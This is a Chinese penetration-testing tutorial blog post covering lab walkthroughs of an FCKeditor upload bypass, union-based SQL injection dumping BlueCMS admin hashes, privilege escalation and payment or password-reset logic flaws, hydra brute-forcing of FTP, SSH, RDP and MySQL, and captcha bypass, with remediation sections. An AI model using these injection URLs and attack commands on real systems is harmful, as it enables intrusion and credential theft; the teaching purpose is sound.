当前位置：首页 > news >正文

【网络安全的神秘世界】渗透测试基础

news 文章来源：https://blog.csdn.net/weixin_54750312/article/details/142245930 2025/5/19 14:15:28

在这里插入图片描述

🌝博客主页：泥菩萨

💖专栏：Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

渗透测试基础

基于功能去进行漏洞挖掘

1、编辑器漏洞

1.1 编辑器漏洞介绍

一般企业搭建网站可能采用了通用模板（CMS，内容管理系统），这些现成的CMS后台如果需要发文章，可能会用到编辑器，这些编辑器是有专门的团队运营开发的，编辑器有可能存在漏洞。只要使用了存在漏洞的编辑器，那么网站就会存在相应的漏洞

编辑器漏洞通常有如下利用方式：

1、编辑器配合解析漏洞进行利用2、编辑器自身的漏洞利用

FCKeditor

FCKeditor编辑器的漏洞源码

获取版本号

/FCKeditor/_whatsnew.html
/Fckeditor/editor/dialog/fck_about.html

常见的测试上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/editor/filemanager/browser/default/browser.html

常见的示例上传地址：

FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

可能存在的其他上传点：

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectos/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors
/jsp/connector.jsp

browser.html文件：

FCKeditor/editor/filemanager/browser/default/browser.html?
type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/php/connector.php

1.2 编辑器漏洞攻击还原

挖掘编辑器漏洞的思路：

1、通过目录扫描，爬虫识别编辑器

2、寻找编辑器版本对应的漏洞

3、利用该编辑器漏洞

Fckeditor编辑器漏洞攻击还原：

首先搭建环境：windows 11 + phpstudy_64 (php 5.4.45)

在这里插入图片描述

把FCKeditor编辑器的漏洞源码放在根目录

在这里插入图片描述

访问http://your_ip/FCKeditor，有403报错是正常的

在这里插入图片描述

目录扫描发现目标网站存在FCKeditor：

在这里插入图片描述

当确定一个网站使用了FCKeditor编辑器后，可以进行信息收集

查看版本：

http://10.0.0.172/Fckeditor/editor/dialog/fck_about.html

在这里插入图片描述

判断出该FCKeditor编辑器版本为：2.4.3

利用示例页面进行上传

http://10.0.0.172/FCKeditor/editor/fckeditor.html

在这里插入图片描述

点击插入/编辑图像，点击链接，Browse Server

在这里插入图片描述

会打开新的页面，发现有报错提示

在这里插入图片描述

观察url发现，我们使用的是php而路径是asp，进行修改

http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php

这次仍然报错，但是报错信息不同了

在这里插入图片描述

访问D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php，修改配置如下并保存：

上传路径：D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images

在这里插入图片描述

重启完成后，再次访问链接，可以正常访问

在这里插入图片描述

上传PHP文件，抓包，修改php后缀，增加空格

在这里插入图片描述

上传成功后，根据前面的配置文件可以构造出路径：

http://10.0.0.172/FCKeditor\editor\filemanager\browser\default\images\file/phpinfo.php

在这里插入图片描述

也可以用蚁剑直接拿下这台web服务器

此外，关于该实验环境，也可以通过测试页面进行文件上传：

http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/connectors/test.html

在这里插入图片描述

也可以使用FCK综合利用工具进行利用

在这里插入图片描述

2、旁站&跨库

旁站：同一个web服务器上存载着多个web站点，通过不同端口对外进行服务

2.1 旁站&跨库

漏洞环境搭建

bluecms v1.6 sp1源码
windows 7
phpstudy(php 5.4.45)

将bluecms源码放入phpstudy网站根目录中

在这里插入图片描述

之后访问http://your_ip/bluecms/uploads/install进行安装

在这里插入图片描述

填写数据库账号密码，我设置的是root/123456，数据表前缀blue_，管理员账号密码admin/123456，下一步

在这里插入图片描述

返回空白页面即代表安装成功

在这里插入图片描述

旁站和跨裤演示

在渗透测试过程中，如果正面难以突破，那么就可以采用一些迂回战术，从侧面来发起攻击，也就是采用一些间接攻击方法，例如旁站，通过旁站注入来进行渗透

在这里插入图片描述

假如在某次渗透测试过程中我们发现主站难以攻破，又发现存在旁站bluecms，于是通过旁站来进行攻击：

http://10.0.0.160/bluecms/uploads/

分析这个页面可以挖的地方：

1、收藏----存在ssrf

2、密码爆破

3、弱口令

4、密码明文传输—有攻击者监听流量可以看到密码

5、是否记住我—可能用了share框架

在这里插入图片描述

点击进入注册功能点，思考可能存在以下漏洞：

1、弱口令

2、账号枚举—判断是否存在账号

3、测试验证码是否有效（不填或者故意填错）

4、csrf—此网站在验证码无效的情况下

5、逻辑漏洞------当作修改已注册用户密码功能点（在不校验旧密码的情况下，根据账户枚举得到一个已有账号，抓包绕过前端限制，把账户修改为已经存在的，并设置新密码）

6、XSS（盲注的场景）

7、电子邮箱—邮箱轰炸

在这里插入图片描述

点击进入留言建议，分析这个页面可以挖的地方：

1、XSS

在这里插入图片描述

回到首页进行渗透测试，输入admin密码随意，根据提示发现admin是系统用户组，并且存在后台

在这里插入图片描述

找后台的3种方法：1、已知框架了直接上网查2、猜（console、login、admin、manage、system）3、目录爆破：dirsearch、御剑

通过御剑扫描，找到了网站后台管理地址

在这里插入图片描述

# 登录
http://192.168.190.128/bluecms/uploads/admin/login.php?act=login

在这里插入图片描述

已知账号admin，爆破出密码为123456

在这里插入图片描述

输入admin/123456成功进入后台

打开发布本地新闻，分析这个页面可以挖的地方：

1、xss

2、文件上传

3、编辑器漏洞

4、sql注入

在这里插入图片描述

删除功能，分析可能存在的漏洞：

1、越权：普通用户实现删除操作

2、未授权访问：在不登陆的情况下删除

在这里插入图片描述

抓包，找到删除功能的接口，拼接删除功能的接口地址

192.168.75.131/bluecms/uploads/admin/ann.php?act=del_cat&id=1

在这里插入图片描述

添加广告后，有xss弹窗

在这里插入图片描述

发现 “获取JS” 的功能，给我们一串js代码

在这里插入图片描述

思考：JS从哪里获取到的，会有什么漏洞？

1、本地获取-----任意文件读取

2、数据库获取—SQL漏洞

3、远程服务器获取—RCE、SSRF（内网）、文件包含（外网）

访问上述url，发现是个空白页面，观察url可能存在sql注入漏洞

192.168.75.131/bluecms/uploads/ad_js.php?ad_id=1

验证是否存在sql注入漏洞

在这里插入图片描述

通过order by 判断有多少列，输到8报错，证明是7列

在这里插入图片描述

使用联合注入，用1,2,3,4,5,6,7表示无意义位，只是想看看哪个位置会有回显

在这里插入图片描述

发现页面不返回消息，查看网页源代码

在这里插入图片描述

证明前端显示位不够，让union all左边ad_id=-1查不出东西，就会让出显示位给右边

在这里插入图片描述

发现第7列有回显，可以在此处写入想执行的sql语句

注入出数据库名为bluecms

在这里插入图片描述

继续注入blue_user表中的字段名，发现报错，存在过滤，单引号前面出现\证明单引号被转义：

view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'

在这里插入图片描述

使用16进制进行绕过：

view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572

在这里插入图片描述

继续注入bluecms库中blue_user表的user_name和pwd字段内容：

view
-
source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6, concat(user_name,pwd) from blue_user

也可以使用concat_ws在user_name和pwd中间加入0x7e作为分隔符，方便我们分隔账号密码

在这里插入图片描述

admin以及21232f297a57a5a743894a0e4a801fc3，即web管理员的账户密码

通过在线解密：发现明文密码为admin

在这里插入图片描述

利用SQL注入能够跨越当前库，获取所有的数据库中的数据库名，表名，字段名：

view
-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6,group_concat(schema_name)
from information_schema.schemata

在这里插入图片描述

2.2 CDN绕过

旁站攻击的前提是知道网站服务器的真实IP，确保要攻击的多个目标站点部署在同一服务器上

CDN概述

CDN也叫内容分发网络，CDN的主要目的是通过将内容缓存到离用户更近的服务器上，来提高用户访问网站或应用程序的速度和可靠性

检测网站是否采用了CDN

1️⃣利用多地ping

每个地区得到的IP地址都不一样则说明可能存在CDN，可以使用以下网站进行检测：

https://wepcc.com
http://ping.chinaz.com
https://mping.chinaz.com/
http://ping.aizhan.com/
http://tcping8.com/ping/

在这里插入图片描述

2️⃣利用nslookup

如果返回域名解析对应多个IP地址多半是使用了CDN

在这里插入图片描述

查找真实IP方法

1️⃣查找历史DNS记录

一个网站建设之初的时候，规模不大可能早期没有使用CDN

DNS查询https://www.malapan.com/dnshistory/safepub.com、https://www.
racent.com/dns-check
微步在线：https://x.threatbook.cn/
在线域名信息查询：http://toolbar.netcraft.com/site_report?url=
DNS、IP等查询：http://viewdns.info/
CDN查询IP：https://tools.ipip.net/cdn.php

这些网站具有随机性，不一定能查到

2️⃣子域名查询

对于一个网站边缘业务可能没有上CDN，此时就可以通过查询子站点所对应的IP来辅助查找网站的真实IP

第三方接口：
https://x.threatbook.cn/
https://dnsdb.io/zh-cn/
https://site.ip138.com/google语法：Google site:baidu.com子域名扫描器：subdomainbrute、amass、OneForAll子域名挖掘机等等

3️⃣网络空间测绘

shadan：https://www.shodan.io/
fofa：https://fofa.info/
hunter：https://hunter.qianxin.com/
zoomeye:https://WWW.zoomeye.org/

4️⃣利用网站漏洞

phpinfo之类的探针、GitHub信息泄露等、
XSS盲打、命令执行反弹shell，SSRF等

5️⃣利用邮件服务器找到真实IP

在注册等一些需要发送邮件的地方让服务器给自己发送邮件，然后查看邮件服务器的IP地址。这种情况比较适用于小站，因为很多大型企业的邮件服务器都是独立的，不太会和业务站点放在同一服务器上。

6️⃣通过分析目标C段来判断真实IP

3、越权

3.1 越权漏洞原理介绍

越权访问是Web应用程序中一种常见的漏洞，由于其存在范围广、危害大、常常被列为OWASP TOP 1 ------ 属于逻辑漏洞

该漏洞是指应用在检查授权时存在纰漏，使得攻击者在登录低权限账户后，利用一些方式绕过权限检查，访问或者操作其它用户信息及获取更高权限

由于越权漏洞往往很难通过工具进行自动化检测，因此在实际应用中危害很大

对比一下SQL注入漏洞和越权漏洞的测试过程：

1、越权漏洞：找到获取数据的接口，准备两个不同权限的账号A和B，控制A通过指定的接口去访问B的数据；访问到即越权

2、SQL注入怎么测：参数级漏洞，看到有携带参数的接口就可以放在sqlmap里去跑，sqlmap自动进行替换完成测试

水平越权： 相同权限下不同的用户可以互相访问

垂直越权： 使用权限低的用户可以访问到权限高的用户

水平越权测试方法：

垂直越权测试方法：

3.2 水平越权攻防还原

火狐浏览器：登录lucy/123456，点击查看个人信息

在这里插入图片描述

抓包，修改请求数据包的username参数为lili

在这里插入图片描述

在火狐浏览器可以查看到lili的个人信息了

在这里插入图片描述

3.3 垂直越权攻防还原

火狐浏览器登录：admin/123456

在这里插入图片描述

抓包，发现除了cookie没有其它参数了，只能根据cookie值来判断当前用户的身份

在这里插入图片描述

在admin账户中点击添加用户，来到这个页面

在这里插入图片描述

1️⃣复制上述url用谷歌浏览器打开

2️⃣替换cookie

还有一种方法，在admin用户下创建内容

在这里插入图片描述

抓包，发现除了cookie没有其它校验身份的参数了

在这里插入图片描述

把cookie值修改为pikachu用户的cookie值

在这里插入图片描述

如果成功，相当于用pikachu的权限进行添加用户；放包查看，添加成功了

在这里插入图片描述

谷歌浏览器登录：pikachu/000000

在这里插入图片描述

对于pikachu账户来说没有添加用户的功能，但是可以用谷歌再打开一个新的标签页，表示以pikachu的身份访问这个url

在这里插入图片描述

设置一些内容进行创建，看能否真的进行操作做

在这里插入图片描述

做了校验，发现不是admin用户，直接退出了

在这里插入图片描述

但是来到admin用户查看后台，信息已经添加成功了

在这里插入图片描述

3.4 越权漏洞修复

1、前后端同时对用户输入信息进行校验，双重验证机制

2、执行关键操作前必须验证用户身份，验证用户是否具备操作数据的权限

3、特别名的操作可以让用户再次输入密码或加入其它的验证信息，防止CSRF攻击

4、可以从用户的加密认证cookie中获取当前用户的id防止攻击者对其修改，或在session、cookie中加入不可预测的user信息

5、对想要引用的资源ID进行加密，防止攻击者枚举ID，敏感数据特殊化除了

6、用于不要相信来自用户的输入，对于可控参数进行严格的检查与过滤

4、逻辑漏洞

4.1 逻辑漏洞概述

由于程序逻辑输入管控不严，导致程序不能正常处理或处理错误，进而产生的漏洞。一般出现在登录、注册、密码找回、信息查看、交易支付金额等位置，由于逻辑漏洞产生的流量多数为合法流量，一般的防护手段或设备无法阻止，也导致了逻辑漏洞成为企业防护中的难题

4.2 如何挖掘逻辑漏洞

4.2.1 注册处

注册功能可能出现任意用户注册、短信轰炸等问题

【任意用户注册】：有时候不核实用户填写的邮箱和手机号是否有效，从而达到任意注册的效果

【短信轰炸】：没有对获取短信验证的次数进行校验的话，就可以不停的发送短信，会消耗服务器的资源和金钱

前端验证：判断是否有任意用户注册漏洞

手机验证码：短信轰炸、验证码是否可以暴力破解，验证码与手机号有没有校验匹配（随便拿到一个验证码也能登录其他账号）

账号密码注册：是否可以批量注册（涉及黑产）

4.2.2 登陆处

登陆处可能存在任意用户登录、短信轰炸等问题

前端验证：判断是否有任意用户登录，是否有验证码回显，是否可以修改返回包造成任意用户登陆等问题

手机验证码：验证码是否可以暴力破解、验证码与当前手机号有没有校验匹配

账户密码登录：没有验证码、验证码失效、验证码可以重复利用或者验证码绕过等情况，可以进行暴力破解

4.2.3 密码找回处

1、前端验证绕过：先获取手机验证码，在输入要修改的邮箱或密码，抓包修改用户名

2、验证码是否可以多次使用

3、验证码是否直接返回在数据包中

4、验证码未绑定用户：明明是A的验证码能给B用

5、修改接收的手机或邮箱进行密码重置

6、验证步骤绕过：类似1

7、未校验用户字段的值：比如user_id可替换

…

4.2.4 支付与越权

1、提交订单或者结算时对金额等参数进行修改（可能只校验总价=单价*数量）

2、提交订单时修改商品数量

3、修改支付接口等：某个付款二维码被攻击者拿到了，为了防止攻击者使用该二维码进行随意支付，所以要进行一次校验

4.3 交易支付中的逻辑问题

支付漏洞的理解通常都是篡改价格

4.3.1 支付逻辑漏洞的呈现形式

1、充值的时候，程序只判断订单有没有充值成功，但没有判断金额

例如：生成订单跳转到支付宝页面，在原网站点支付失败，这时可以修改订单，改成更小的金额（订单号没变），回到支付宝页面进行支付操作，支付成功。程序并没有重新核对支付宝实际的金额，只是把订单改为已支付

2、使用余额支付，把数量改为负数，总金额也为负数，扣除余额时，负负得正，这时余额增加

3、支付逻辑漏洞的几种常见类型：

（1）修改金额

（2）修改商品数量

（3）修改优惠金额

（4）修改数量、单价、优惠价格参数为负数、小数、无限大（超过内存能承载的最大值，整数溢出后变成负数）

（5）商品价格更改

（6）支付key泄露等

4.3.2 支付漏洞案例

漏洞环境：webug

使用docker安装

docker pull area39/webug
docker run -d -p 8082:80 -p 33060:3306 area39/webug

安装成功后访问http://your_ip:8082/control/login.php

默认账户：admin/admin
数据库账号：root/toor

在这里插入图片描述

打开支付漏洞靶场

在这里插入图片描述

进入某网站商城页面

http://10.0.0.158:8082/control/auth_cross/cross_permission_pay.php

在这里插入图片描述

点击立即购买，发现弹窗花费了100元购买商品

在这里插入图片描述

观察url发现，price是价格的意思，尝试修改值为1

在这里插入图片描述

也可以抓包进行修改商品的价格

在这里插入图片描述

4.4 密码修改逻辑漏洞

在这里插入图片描述

访问“越权修改密码”靶场：

在这里插入图片描述

进入docker的数据库中

docker exec -it id bash
mysql -uroot -p //密码toor

在这里插入图片描述

查看用户密码信息

show database;
user webug;
show tables;
select * from user_test;

在这里插入图片描述

登录admin/admin账号

在这里插入图片描述

显示not found，这是网站本身的问题，删除pt_env/即可

在这里插入图片描述

登录aaaaa/asdfsadf账号

在这里插入图片描述

思考可能存在的漏洞：1、明文传输2、弱口令3、SQL注入4、越权修改其他用户密码5、旧密码是否有效

对aaaaa账户进行修改密码的操作：发现修改密码处未对旧密码进行验证，旧密码处输入任意内容，可以直接修改密码

在这里插入图片描述

查看webug库下的user_test表

use webug;
select * from user_test;

在这里插入图片描述

抓包，观察数据包我们发现id值可以被篡改，一般来说管理员的id值一般为1或者0

在这里插入图片描述

将id修改为1进行尝试，发现修改成功

在这里插入图片描述

查看webug库下的user_test表

use webug;
select * from user_test;

在这里插入图片描述

此时admin账户的密码已经被更改为：123456，通过低权限的账户修改了管理员账户的密码，使用admin/123456即可成功登录。

4.5 实战项目逻辑漏洞分享

4.5.1 验证码回传导致任意用户注册

由于程序逻辑校验不严，导致验证码直接显示在响应包中，造成任意用户注册

在这里插入图片描述

1、可以修改请求包手机号

2、可以在响应码里直接看到验证码拿去使用

4.5.2 任意用户登录

用户注册成功后，第一次会直接以注册用户的身份登录，而无需用户输入账号密码登录，查找数据包中是否有用户的参数username、userid等进行替换

在这里插入图片描述

截取并查看响应数据包，发现系统是通过userid、username等参数进行身份验证及登录：

在这里插入图片描述

再去截取请求数据包，修改userid值，成功登录他人用户：

在这里插入图片描述

4.5.3 任意密码重置

在密码修改页面，随意输入旧密码，输入新密码以及确认新密码，点击修改密码，截取数据包

将响应包由false改为true，有时候响应状态码不一定是true或false，也有可能是0和1

在这里插入图片描述

4.6 逻辑漏洞修复

1、正确配置用户的权限信息，不要仅使用简单的cookie或session去进行校验

2、对同一手机号进行识别，一定时间内不允许重复发送验证短信请求

3、加入用户身份认证机制或者token验证，防止可直接通过链接访问到的功能模块被用户恶意操作（未授权访问漏洞）

4、删除特权码，不要仅仅对code等返回值进行校验

5、订单类数据包在后端检查订单的每一个值，包括支付状态、MD5加密&解密、数字签名及验证，能够有效避免数据修改、重放攻击中的各种问题

6、避免仅使用前端校验，应在前后端同时设置校验机制，严格校验用户的数据

5、暴力破解

暴力破解是一种针对密码的破译方法，将密码进行逐个推算知道找出正确的密码为止

5.1 C/S架构暴力破解

常用于网络协议、系统、数据库、第三方应用密码的破解：

暴力破解FTP、SSH、SMB、Sqlserver、Mysql、Redis等

5.2 B/S架构暴力破解

B/S架构即浏览器/服务器结构，暴力破解：

上面 2.1 旁站&跨库 中已经讲过暴力破解bluecms的账号密码，这里不再讲述

5.3 hydra的安装与使用

hydra（九头蛇）是一个网络账号破解攻击

5.3.1 hydra的安装

kali linux下自带

5.3.2 hydra的使用

hydra常用参数：

-l            指定一个用户名
-L            指定一个用户字典
-P			  指定一个密码字典
-s			  指定端口
-vV			  显示每次的尝试信息
-f			  遇到正确的密码，停止爆破
-o            将结果输出到文件中
-M            指定一个服务器列表
-t            Tasks同时运行的线程数，默认为16
-e nsr        n:尝试空密码  s:将用户名作为密码  r：将用户名方向

使用hydra暴力破解ftp服务：

在windows使用phpstudy开启ftp

设置账号为ftp/123456并启动ftp服务

在这里插入图片描述

启动，需要手动启动一下ftp

在这里插入图片描述

确保linux和weindows两台主机之间的网络是互通的

windows:10.0.0.160
linux:10.0.0.158

在这里插入图片描述

hydra ip 服务 -l 用户名 -P 字典

hydra 10.0.0.160 ftp -l ftp -P pwd.txt -vV -f -e ns

将字典pwd.txt，放在当前目录下

在这里插入图片描述

成功破解出密码为：ftp/123456

在这里插入图片描述

物理机利用该密码成功登录ftp服务器

ftp://10.0.0.160/

在这里插入图片描述

使用hydra暴力破解ssh服务：

windows：10.0.0.167
linux:10.0.0.158

首先在Windows系统中安装openssh，以Win 11为例：

在这里插入图片描述

安装完成后，看到C盘目录下已经存在OpenSSH文件夹，接下来配置环境变量：

在这里插入图片描述

配置完成后，在命令行输入sssh，出现下图即代表安装成功：

在这里插入图片描述

在Win 11下默认安装openssh，账号密码默认是当前系统用户的微软账号和密码

hydra 10.0.0.167 ssh -l Administrator -P pwd.txt -o ssh.log

破解出账号密码为Administrator/ly123

在这里插入图片描述

查看输出的文件也可以发现：

破解出10.0.0.160的ssh账号密码为Administrator/ly123

在这里插入图片描述

使用hydra暴力破解rdp服务：

win 11开启远程桌面（默认开启）

在这里插入图片描述

hydra 10.0.0.167 rdp -l Administrator -P pwd.txt -vV -f -e ns

发现爆破出rdp的账号密码为Administrator/ly123

在这里插入图片描述

使用该账户成功登录服务器

在这里插入图片描述

当用物理机远程虚拟机win 11时，虚拟机就掉线了，因为同一个账号只能被一个用户所登录

在这里插入图片描述

使用hydra暴力破解mysql服务：

win11中开启mysql服务，查看账号密码：

在这里插入图片描述

hydra 10.0.0.167 mysql -l root -P pwd.txt

发生了报错，意思是MySQL没有开启远程连接

在这里插入图片描述

安装数据库管理工具

在这里插入图片描述

设置MySQL允许远程连接：

运行 grant all privileges on *.* to root@'%' identified by 'root'; 语句

在这里插入图片描述

破解出10.0.0.167的mysql的账号密码为：root/root

在这里插入图片描述

5.4 暴力破解安全防范

1、安全的验证码

2、对验证码的有效期和次数进行限制

3、限制认证错误的提交次数，如：连续5次密码错误，锁定2小时

4、必要的情况下使用双因子认证（验证码+滑动验证码）

6、验证码安全

所用环境：pikachu

6.1 验证码安全介绍及分类

在安全领域，验证码主要分为两大类：操作验证码和身份验证码

验证码的主要作用：防止暴力破解、恶意注册、刷票、论坛灌水等脚本行为

验证码的分类：手机短信、手机语音、通用文字、加减法、非通用文字、非通用文字加背景随机加拉伸、无感知、滑动拼图、文字点选、图标点选、推理拼图、短信上行、语序点序、空间推理、语音验证等

6.2 验证码绕过（on client前端）

当未输入验证码的时候，提示“请输入验证码”：

在这里插入图片描述

当输入错误验证码的时候提示“验证码输入错误”：

在这里插入图片描述

当输入正确验证码的时候提示“用户名或者密码不存在”：

username or password is not exists～

在这里插入图片描述

经过前三步的测试，验证码基本功能完善

我们尝试截取登录处数据包，修改密码但不更改验证码并多次重放之后发现没有提示验证码错误，该验证码依然有效，说明可能存在验证码可以重复使用的情况：

在这里插入图片描述

分析验证码部分的源代码：

代码逻辑没有问题，原因在于写在前端了

完整的实现 请求 --> 响应 过程页面才会刷新，只有页面刷新才能获取新的验证码，而我们抓到了请求包，响应回不去客户端，所以验证码无法刷新，从而导致验证码可以重复利用

在这里插入图片描述

既然验证码无效，就可以直接暴力破解了

在这里插入图片描述

破解出密码为1223456

在这里插入图片描述

除了抓包，也可以通过禁用js来绕过验证码

在这里插入图片描述

删除校验验证码的功能也能绕过

在这里插入图片描述

6.2 验证码绕过（on server后端）

先对验证码的功能进行完备性的验证

不输入验证码点登录：

在这里插入图片描述

输错验证码点登录：

在这里插入图片描述

输入正确的验证码：

在这里插入图片描述

输入一个正确的验证码，抓包：发现验证码还是可以重复利用

在这里插入图片描述

为什么代码在后端，还会出现验证码重复利用这种情况呢？

在这里插入图片描述

在burp反复 send 是2和3的过程，没有走完完整的通信，问题是验证码是后端生成的，正常情况下，只要2给了服务端，服务端就应该更新验证码

所以问题还是出现在后端，查看源代码：app\vul\burteforce\bf_server.php

在这里插入图片描述

造成该验证码重复使用的原因是：验证码在验证之后没有销毁$_SESSION[‘vcode’]，造成了重复使用

在这里插入图片描述

如果销毁了$_SESSION[‘vcode’]，即使新的验证码没有生成，旧的验证码也不可以用了

7、社会工程学

非技术渗透手段，简单来说就是骗

8、APT攻击

APT即高级持续性威胁，是一种潜伏周期较长、隐蔽性较强的攻击模式

APT攻击常用手段：

1️⃣水坑攻击

提前分析要攻击的目标有什么规律，寻找其经常访问的网站弱点，并事先攻击该网站，等待目标来访，伺机进行攻击

2️⃣路过式下载

攻击者把木马文件植入到某个软件中，用户下载软件的同时也下载了木马

3️⃣网络钓鱼和鱼叉式网络钓鱼

钓鱼攻击

4️⃣0day漏洞

没有在市面上公布出来，掌握在极少数人手里

APT攻击方法

1️⃣恶意代码检查

通过流量抓到攻击者用的什么payload打到你的，通过payload还原攻击代码、攻击路径，做个有针对性的修复

2️⃣主机保护应用

看行为：执行了什么操作系统路径、对外传输了哪些数据

监控企业内内所有主机安全行为

3️⃣网络入侵检测

通过流量监控设备，结合一些态势感知，对整个流量进行监控

4️⃣大数据分析检测

通过全面分析海量日志数据来还原APT攻击场景

渗透测试基础

1、编辑器漏洞

1.1 编辑器漏洞介绍

1.2 编辑器漏洞攻击还原

2、旁站&跨库

2.1 旁站&跨库

2.2 CDN绕过

查找真实IP方法

3、越权

3.1 越权漏洞原理介绍

3.2 水平越权攻防还原

3.3 垂直越权攻防还原

3.4 越权漏洞修复

4、 逻辑漏洞

4.1 逻辑漏洞概述

4.2 如何挖掘逻辑漏洞

4.2.1 注册处

4.2.2 登陆处

4.2.3 密码找回处

4.2.4 支付与越权

4.3 交易支付中的逻辑问题

4.3.1 支付逻辑漏洞的呈现形式

4.3.2 支付漏洞案例

4.4 密码修改逻辑漏洞

4.5 实战项目逻辑漏洞分享

4.5.1 验证码回传导致任意用户注册

4.5.2 任意用户登录

4.5.3 任意密码重置

4.6 逻辑漏洞修复

5、暴力破解

5.1 C/S架构暴力破解

5.2 B/S架构暴力破解

5.3 hydra的安装与使用

5.3.1 hydra的安装

5.3.2 hydra的使用

5.4 暴力破解安全防范

6、验证码安全

6.1 验证码安全介绍及分类

6.2 验证码绕过（on client前端）

6.2 验证码绕过（on server后端）

7、社会工程学

8、APT攻击

相关文章：

4、逻辑漏洞